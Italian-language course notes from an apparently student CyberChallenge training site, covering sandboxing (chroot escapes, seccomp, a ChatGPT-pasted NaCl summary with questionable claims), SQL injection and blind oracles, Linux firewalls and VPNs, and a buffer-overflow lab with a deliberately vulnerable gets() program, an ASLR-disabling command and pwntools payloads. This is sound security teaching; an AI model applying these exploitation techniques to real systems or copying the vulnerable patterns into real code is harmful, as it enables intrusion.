Alla fine il dudo parla di quanto sia figo il sandboxing e di come, anche se non sempre funziona, aggiunge un layer di security particolarmente efficace

Native Client Sandbox

Il dudo dice sta cosa, e io me la sono scritta per capire cosa fosse. Visto che Im lazy ecco che ne pensa chatgpt

x86 Native Client (NaCl) is a sandboxing technology that allows developers to run native code securely in a web browser. It is based on the x86 architecture, which is the most commonly used microprocessor architecture for personal computers. NaCl uses a combination of hardware and software security measures to isolate the native code from the rest of the system, helping to prevent vulnerabilities and other security issues.

NaCl uses a technique called “software fault isolation” to protect the system from potentially malicious code. This involves creating a sandbox, or isolated execution environment, in which the native code can run. The sandbox is designed to be as small and simple as possible, to minimize the potential attack surface for an attacker. It also includes various security measures, such as memory protection and code signing, to prevent the native code from accessing sensitive data or performing unauthorized actions.

In addition to its security benefits, NaCl also provides performance advantages over other solutions for running native code in a web browser. Because it uses native code, it can run faster and more efficiently than other solutions that rely on interpreted or compiled code. This makes it an attractive option for developers who want to run native code in a web browser without sacrificing performance.

Overall, x86 Native Client (NaCl) is a valuable tool for developers who want to run native code securely in a web browser. Its combination of security and performance makes it a popular choice for many applications.

chroot

Chroot è una syscall unix che permette di cambiare la posizione di / per un certo processo. Ha una qualche rilevanza lato security e se utilizzata correttamente non permette facilmente l’escape, ma in generale non va considerata un buon sistema di sandboxing. I possibili modi per romperla sono:

  • mantenere un fd aperto prima del chroot, questo non verrà chiuso e permette di scappare utilizzando una syscall che accetta path relativo (ex: openat, execvat) (AT_FDCWD contiene la dir corrente TODO: check better)
  • chroot non viene gestito come “stack”, quindi quando viene riutilizzata la syscall viene completamente dimenticata la call vecchia. Se hai SUID == 0 e setuppi un’altra chroot e scappi dalla seconda, sei libero anche dalla prima.
  • IPC, network e altro permette escape ad hoc. In pratica tutto quello che ha portato alla creazione dei namespaces

seccomp

Seccomp, basato su eBPF, permette di utilizzare un meccanismo simile a quello dei firewall per le syscall.

È implementata come una librera, basta setuppare il seccomp all’inizio del proprio software.

Seccomp è ereditato da padre a figlio (l’esempio della lezione its wrong tho)

Come scappare da seccomp?

Guarda slides

  • seccomp di default blocca tutte le syscall x86

Zero Knowledge

Introduzione

Insegnante: @donnoh

DataArgomentoMateriale
02/03/2023Introduzione alle zero knowledge proofsLezione 1

CyberChallenge

Subsections of CyberChallenge

CyberChallenge 2024

Questa pagina è in costruzione!

Torna a trovarci più tardi per scoprire le novità di CyberChallenge 2024.

CyberChallenge 2023

Grazie a tutti!

Siamo felici di avervi avuto con noi in questa edizione di CyberChallenge. Speriamo che vi siate divertiti e che abbiate imparato qualcosa di nuovo.

Ci vediamo l’anno prossimo!

Subsections of Incontri

13 Dicembre 2024

Slide PDF

Preambolo

cosa ci serve:

  • basi di web security (requests)
  • conoscenza di base di SQL (ma anche no)
  • creatività

Questa lezione si può seguire da Windows o Linux (ma sempre meglio installare Linux 🙏).

a cosa mi serve SQL?

Alcuni di voi avranno visto SQL in sè per sè, ma come lo integro in un applicazione e per cosa lo uso?

Use cases ovvi:

  • conservare dati strutturati ->
    • credenziali applicazioni web 🔥?
    • dati personali di utenti?

Chiaramente per un attaccante un database è sempre una superficie d’attacco notevole.

come interagisce un applicazione con il DB?

In qualche modo la mia applicazione farà query al database sottostante.

Possiamo immaginarci qualcosa del genere:

user_input = ... #prendiamo input dall'utente
query = "SELECT * FROM users WHERE id = " + user_input
cursor.execute(query)

Come al solito, il primo approccio che prendiamo è spesso sbagliato. Come posso rompere un codice del genere?

Se avete voglia di testare un po’ (e dovreste) provate questo sito.

cosa non va?

Guardando qualsiasi applicativo conviene sempre ragionare partendo da dove abbiamo controllo, ovvero il nostro input. Dove andrà a finire ciò che mandiamo? Che tipo di restrizioni sono imposte su ciò che mandiamo?

Ragionando su questi binari, ci rendiamo presto conto che

  • Possiamo mandare quello che ci pare
  • andrà a finire direttamente nella query

Nulla a questo punto ci vieta di mandare comandi, ovvero parole che SQL interpreta come codice : possiamo iniettare (injection) SQL a nostro piacimento!

Abbiamo una SQL injection, e questo vuol dire che siamo liberi di leggere e scrivere nel DB, in modo (spesso) arbitrario.

un esempio più complesso (e utile)

Spesso abbiamo meno controllo sul nostro input : o è filtrato o è piazzato in modo sconveniente se vogliamo rompere l’applicazione.

Provate a risolvere questa challenge di OliCyber (hint hint : control characters).

definizione: injection

Quando un programma interpreta il nostro input, che dovrebbe essere letterale ed inerte, come codice. Spesso richiede un qualche escape character o sequence.

tangente : come si fa un app sicura?

Ci sono modi e modi di fare query:

  • I modi giusti e sicuri 🥱 :
    • query parametrizzate : uso dei placeholder per rappresentari i miei valori nella query :
    cursor.execute("SELECT * FROM users WHERE id = ?", (user_id,))
  • ORM (Object Relational Mapping) : Uso librerie per astrarre le query (SQLAlchemy)

Ricordatevi che in questo modo vi state semplicemente affidando al codice di altre persone, che spesso è ugualmente rotto, però meglio di niente

e se non vedo tutto l’output?

é molto raro che i server connettano direttamente gli utenti al DB senza fare qualche altro calcolo in mezzo.

Forse l’injection è in un endpoint che restituisce solo un valore numerico, oppure booleano per la logica dell’applicazione.

O ancora, immaginiamoci di avere un injection che ci permette di sovvertire un endpoint per vedere i dettagli di un utente, in modo da poter vedere anche la sua password : magari la query che viene eseguita è giusta, ma il server prova a interpretarla secondo il formato che si aspetta (senza la password) e crasha, senza darci altre informazioni.

Ci troviamo davanti a un esempio di oracolo

definizione : oracolo

L’oracolo (dal latino oraculum) è un essere o un ente considerato fonte di saggi consigli o di profezie, un’autorità infallibile, solitamente di natura spirituale.

In cybersecurity, una funzione che ci permette di interrogare un programma ricevendo una risposta booleana (si o no).

Spesso nel mondo reale la risposta non è diretta, ma deriva dalla presenza o meno di un errore : error-based oracle

come si chiede un nome ad un oracolo?

Noi vogliamo una stringa, ma l’oracolo ci dà solo si e no! -> divide et impera

Chiediamo un carattere alla volta, testando con tutto l’alfabeto -> la prima lettera è [A-Z]?

Dopo qualche richiesta avremo il primo carattere, e procediamo così fino alla fine.

si può fare di meglio (meno richeste)?

Lasciato come esercizio al lettore

una challenge ad oracolo

Familiarizzate con le challenge ad oracolo risolvendo questa!

E se l’output non c’è?

A volte il server non ha bisogno di mandarci nulla indietro nel suo uso inteso (ex. aggiornare il proprio username). Come facciamo?

Forti del fatto che la giusta combinazione di 0 ed 1 possono rappresentare tutto il rappresentabile, non ci rimane che trovare un modo nuovo di ricavarli.

In diversi dialetti di SQL abbiamo delle simpatiche funzioni, che possiamo usare in congiunzione ad IF per ottenere oracoli :

  • SLEEP : blocca il DB per x secondi -> se la risposta del server è lenta, abbiamo un 1 altrimenti 0
  • Funzioni di read di risorse : alcuni server SQL permettono la lettura di risorse, sia locali che remote (protocolli HTTP o FTP) -> secondo voi come derivo un oracolo?

Queste sono alcuni casi comuni, ma la parte divertente è adattarsi alle circostanze in modi nuovi.

Non usate tool già fatti come sqlmap, non impararete molto e di sicuro non furbi quanto voi (aka non funzionano)

29 Novembre 2024

Parte 0: Accesso alla piattaforma

Parte 1: Network Basics

Wireshark

Se utilizzi Kali Linux, Wireshark è già preinstallato. Per altre distribuzioni, puoi installarlo con uno dei seguenti comandi:

sudo apt install wireshark         # Per Ubuntu/Debian/Kali
sudo dnf install wireshark         # Per Fedora
sudo pacman -S wireshark           # Per Arch Linux
sudo zypper install wireshark      # Per openSUSE
Challenge

  1. Installa Wireshark sul tuo computer e prova a catturare il traffico di rete mentre navighi su internet. Riesci a trovare il tuo traffico HTTP?
  2. Prova a fare ping ad un altro computer e cattura il traffico di rete con Wireshark. Cosa vedi?

Parte 2: Firewall su Linux

Il kernel Linux utilizza il sottosistema netfilter per filtrare il traffico di rete. Per configurare netfilter, i due strumenti principali sono:

  • iptables: uno strumento classico e ampiamente utilizzato.
  • nftables: una soluzione più recente e flessibile.

Durante questa lezione, ci concentreremo su iptables.

iptables

Comandi utili

iptables -L -n -v  # Mostra le regole del firewall
iptables -F        # Pulisce tutte le regole

iptables -P INPUT DROP      # Imposta la policy di default per il traffico in ingresso a DROP
iptables -P OUTPUT ACCEPT   # Imposta la policy di default per il traffico in uscita ad ACCEPT
iptables -P FORWARD DROP    # Imposta la policy di default per il traffico di transito a DROP


iptables -A INPUT -p tcp --dport 22 -j ACCEPT   # Consente il traffico TCP sulla porta 22
iptables -A INPUT -p tcp --dport 80 -j ACCEPT   # Consente il traffico TCP sulla porta 80

iptables -D INPUT -p tcp --dport 22 -j ACCEPT   # Rimuove la regola per la porta 22
iptables -D INPUT 1                             # Rimuove la prima regola nella catena INPUT

iptables -A INPUT -s x.x.x.x -j DROP            # Blocca il traffico proveniente dall'indirizzo IP x.x.x.x
iptables -A INPUT -s x.x.x.x -j REJECT          # Rifiuta il traffico proveniente dall'indirizzo IP x.x.x.x

iptables-save > /etc/iptables/rules.v4          # Salva le regole in un file
iptables-restore < /etc/iptables/rules.v4       # Carica le regole da un file

firewalld

FirewallD è un software di gestione del firewall per Linux che fornisce un interfaccia D-Bus per impostare regole di firewall.

E’ il firewall di default su distribuzioni di derivazione Red Hat come Fedora, CentOS e RHEL. In aggiunta a quanto già offerto da iptables, firewalld offre il concetto di zone, la cui gestione permette di semplificare la configurazione del firewall.

La sua interfaccia a riga di comando è firewall-cmd.

# Visualizza la zona attiva
firewall-cmd --get-active-zones

# Mostra le regole della zona corrente
firewall-cmd --list-all

# Visualizza le regole della zona 'public'
firewall-cmd --zone=public --list-all

# Aggiungi il servizio HTTP alla zona 'public'
firewall-cmd --zone=public --add-service=http

# Aggiungi il servizio HTTP in modo permanente
firewall-cmd --zone=public --add-service=http --permanent

# Riavvia il servizio firewalld
systemctl restart firewalld

# Blocca tutto il traffico in ingresso eccetto la porta 22
firewall-cmd --zone=public --set-target=DROP
firewall-cmd --zone=public --add-port=22/tcp

# Salva la configurazione attuale
firewall-cmd --runtime-to-permanent

Permanent vs Runtime

Le modifiche fatte con firewall-cmd sono, di default, temporanee (runtime). Per renderle permanenti, usa il comando:

firewall-cmd --runtime-to-permanent

Parte 3: VPN

Una VPN (Virtual Private Network) è un metodo per creare una connessione sicura tra due dispositivi su una rete pubblica.

OpenVPN

OpenVPN è un software open-source che opera a livello user-space, offrendo grande flessibilità, ma con prestazioni leggermente inferiori rispetto ad altre soluzioni.

WireGuard

WireGuard è una VPN open-source integrata direttamente nel kernel Linux, offrendo maggiore velocità e sicurezza grazie a impostazioni predefinite robuste.

WireGuard su Linux

WireGuard è supportato nativamente dai kernel moderni. Per configurarlo, è necessario installare wireguard-tools:

sudo apt install wireguard-tools     # Per Ubuntu/Debian/Kali
sudo dnf install wireguard-tools     # Per Fedora
sudo pacman -S wireguard-tools       # Per Arch Linux
sudo zypper install wireguard-tools  # Per openSUSE

[Interface]
PrivateKey=<chiave_privata>
Address=<ip_locale>
ListenPort=<porta>  # opzionale

[Peer]
PublicKey=<chiave_pubblica>
Endpoint=<ip_pubblico>:<porta>
AllowedIPs=<ip_remoti>

Comandi utili per WireGuard:

sudo wg-quick up <config_file>.conf     # Avvia la VPN
sudo wg-quick down <config_file>.conf   # Arresta la VPN

22 Novembre 2024

Parte 0: Accesso alla piattaforma

Parte 1: Network Basics

Per parlare di Web Security è necessario avere una base di conoscenza di come funzionano le reti di computer.

Parte 2: Web Security e attacchi alla sessione

Livello base

Livello facile

Livello medio

  • To be continued…

15 Novembre 2024

Preambolo

Durante questo incontro vedremo come funziona un buffer overflow, come sfruttarlo e una breve introduzione a pwntools.

Cosa ci serve:

  • gcc
  • gdb
  • python
  • pwntools
  • conoscenza basilare di C
  • voglia di imparare

Tutti i tool sono disponibili di default su Kali.

Su Ubuntu si installano con :

$ sudo apt install build-essential gdb python3 python3-pip python3-dev git libssl-dev libffi-dev gcc-multilib
$ pip install --break-system-packages pwntools
Comandi shell

Di solito i comandi shell nelle varie risorse online sono preceduti da un $, che rappresenta il prompt del terminale. Questo viene usato per:

  • indicare che il comando va eseguito come utente normale (ovvero non come root).
  • rendere il copia e incolla più difficile e costringere a modificare il comando prima di eseguirlo, riducendo il rischio di eseguire comandi pericolosi per errore.

Buffer Overflow

Ogni problema si può comprendere su diversi livelli di astrazione. Solitamente, ragioniamo su un programma C (o qualsiasi altro linguaggio) al livello del linguaggio stesso. Da questo punto di vista il programma non è altro che un insieme di variabili e funzioni, e tutta l’esecuzione parte dal main. Sappiamo però che ciò che esegue il nostro computer è un binario generato dal compilatore e dal linker -> cosa succede tra un’ astrazione e l’altra?

Digging deeper

Senza entrare nelle specifiche, concettualmente il nostro computer funziona in modo “lineare” consuma un “nastro” di codice, eseguendone le istruzioni. Questo differisce abbastanza dalla visione strutturata di un programma C, dove abbiamo diverse funzioni innestate che si chiamano fra di loro (o se stesse)

Come funziona una funzione?

Oltre al gioco di parole, è importante capire come funziona una funzione a basso livello.

Non esiste un concetto nativo di funzione per il computer esegue un programma : il programma è semplicemente un insieme (tendenzialmente) monolitico di istruzioni, da caricare in memoria (il nastro).

A un alto livello, cosa serve per implementare una funzione?

Dati :

  • Un modo di comunicare degli argomenti -> li carico (in memoria) da qualche parte
  • Un modo di comunicare il risultato -> lo carico da qualche parte…

Metadati :

  • Un modo di identificare una funzione -> un indirizzo in memoria
  • E infine… un modo di tornare alla funzione precedente! -> lo salvo prima della chiamata

D’ora in poi considereremo nello specifico l’architettura x86_32, i cui eseguibili sono facili da eseguire sulla maggior parte dei computer moderni

Un semplice programma-cavia

Per capire meglio come funzionano le chiamate a funzione, consideriamo il seguente programma:

#include <stdio.h>

void impossibile_da_chiamare() {
    printf("Come hai fatto???\n");
}

void funzione_normalissima() {
    char buffer[64];
    printf("Come ti chiami? ");
    gets(buffer);  // Non usarmi!
    printf("Ciao %s!!\n", buffer);
}

int main() {
    printf("Qualche professore amerebbe questo programma\n");
    funzione_normalissima();
    return 0;
}

Il programma è molto semplice, chiede il nostro nome e lo stampa a schermo. Da notare la funzione gets, che è molto pericolosa e non dovrebbe essere usata mai in un programma reale.

Se provate a compilare questo programma normalmente, il compilatore si arrabbierà (con buone ragioni). Perchè?

$ gcc dim.c

dim.c: In function ‘funzione_normalissima’:
dim.c:10:5: error: implicit declaration of function ‘gets’; did you mean ‘fgets’? [-Wimplicit-function-declaration]
   10 |     gets(buffer);  // Non usarmi!
      |     ^~~~
      |     fgets

1. Che succede se passo più di 64 caratteri?

A prima vista, il programma sembra funzionare correttamente. Notiamo però che la variabile buffer è grande solo 64. Cosa succede se passiamo più di 64 caratteri?

Facciamolo!

$ ./dim
Qualche professore amerebbe questo programma
Come ti chiami? AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Ciao AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA!!
Errore di segmentazione (core dump creato)

Il programma crasha! Perchè?

1.a Strumenti utili

  • gdb : debugger, ci aiuterà a capire meglio cosa fa il nostro programma e a capire perchè crasha
  • pwntools : libreria di python, ci permette di interagire in modo programmatico con il nostro binario

Entrambi installati di default su Kali!

2. Cosa sta succedendo?

Proviamo ad analizzare il problema con gdb:

$ gdb ./dim
(gdb) run

Inseriamo il nostro input e vediamo cosa succede:

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()

L’errore di segmentazione (SIGSEG) è il più classico, ma cosa significa 0x41414141 in ???

Normalmente gdb ci mostra sia l’indirizzo di memoria in cui si è verificato l’errore, sia la funzione in cui si è verificato.

  • 0x41414141 è un indirizzo di memoria, ma cosa rappresenta?
  • ?? indica che gdb non sa cosa ci sia in quell’indirizzo di memoria

Il programma ha quindi provato ad eseguire una “funzione” all’indirizzo 0x41414141. E’ un caso?

Se proviamo a convertire 0x41414141 in ASCII otteniamo “AAAA”, che è esattamente una parte del nostro input.

Possiamo quindi dedurre che il programma ha provato ad accedere ad una cella di memoria che è stata sovrascritta con il nostro input.

3. Come sono implementate le chiamate a funzione in x86_32?

Non entreremo troppo nei dettagli (layout dello stack e memoria), ciò che ci basta sapere per ora è questo: durante una chiamata a funzione, il programma salva i metadati della funzione chiamante nello stack, e poi salta (jump incondizionato) alla funzione chiamata.

Lo stack è una struttura dati a pila, ovvero una struttura dati in cui l’ultimo elemento inserito è il primo ad essere rimosso, quindi, al momento di chiamare la funzione, i metadati della funzione chiamante si trovano in cima allo stack.

Durante l’inizializzazione della funzione chiamata, vengono pushati sullo stack i dati della funzione chiamata (ovvero le variabili locali) e poi viene eseguito il codice della funzione.

Quindi:

I metadati di una chiamata a funzione sono conservati in modo adiacente ai dati locali della funzione chiamante; per ora immaginiamoci che siano situati negli indirizzi di memoria appena successivi.

Inoltre ricordiamoci che In C accedere ad un elemento in un array (array[i]) vuol dire accedere ad un elemento in un indirizzo = array + i * sizeof(type).

Ad esempio, buffer[65] nonostante sia “fuori dal buffer” è un modo per accedere al 65° byte del buffer, che però non è del buffer stesso ma di un’altra variabile in memoria (o, in questo caso, dei metadati della funzione chiamante).

Utilizzando queste due informazioni, possiamo capire cosa è successo:

  1. Abbiamo sovrascritto il buffer con più di 64 caratteri;
  2. Abbiamo sovrascritto i metadati della funzione chiamata;
  3. Nel momento in cui la funzione chiamata tenta di ritornare alla funzione chiamante (return), il program counter (PC) si sposta all’indirizzo che abbiamo scritto come 65° byte del buffer (in realtà non è detto sia proprio il 65° byte, in quanto il compilatore può inserire padding tra le variabili).

Possiamo quindi controllare il PC, ergo possiamo eseguire una funzione qualsiasi (con alcuni limiti, ma per ora non ci interessano)!

4. Cosa eseguiamo?

Proviamo, ad esempio, a chiamare la funzione impossibile_da_chiamare.

Sappiamo che ogni funzione è caricata in memoria ad un indirizzo specifico dello spazio di indirizzamento del processo . Come facciamo a sapere quale è l’indirizzo di impossibile_da_chiamare?

Riapriamo gdb:

gdb ./a.out

e chiediamo l’indirizzo della funzione:

(gdb) x *impossibile_da_chiamare

oppure

(gdb) info functions
Address Space Layout Randomization

Per motivi di sicurezza di solito gli indirizzi di memoria cambiano tra un esecuzione e l’altra (vedi ASLR). Possiamo però disabilitarlo temporaneamente con:

$ echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

5. Come scriviamo un indirizzo arbitrario in input?

Da terminale non possiamo scrivere un indirizzo arbitrario, in quanto non possiamo scrivere caratteri non ASCII. Per questo è necessario un aiuto da parte di python3.

$ python3 -c "print(b'A'*64 + b'\x01\x02\x03\x04')" | ./dim

in questo modo stiamo passando al programma dim 64 caratteri A seguiti da 0x04030201 (in little-endian, ovvero con gli indirizzi in ordine inverso rispetto a come li scriviamo).

In alternativa, possiamo usare pwntools:

r = process("./dim")
r.sendline(b"A"*64 + b"quello che voglio \x01\x02\x03")
r.interactive()

In sequenza:

  • r = process("./dim") crea un sotto-processo eseguendo il programma dim;
  • r.sendline(b"A"*64 + b"quello che voglio \x01\x02\x03") invia la stringa al programma seguita da un newline (\n);
  • r.interactive() ci permette di interagire con il programma come se fosse un terminale.

Non mi rimane che mandare l’indirizzo giusto!

Esercizio

Alcune sfide:

  • Come faccio a trovare il numero di caratteri da scrivere prima dell’indirizzo? (padding)
  • Come faccio a trovare l’indirizzo di una funzione nel caso io non abbia accesso al compilato?
  • Cosa riesco a fare con questa tecnica?
  • Cosa posso fare per evitare che il mio programma sia vulnerabile a questo tipo di attacco?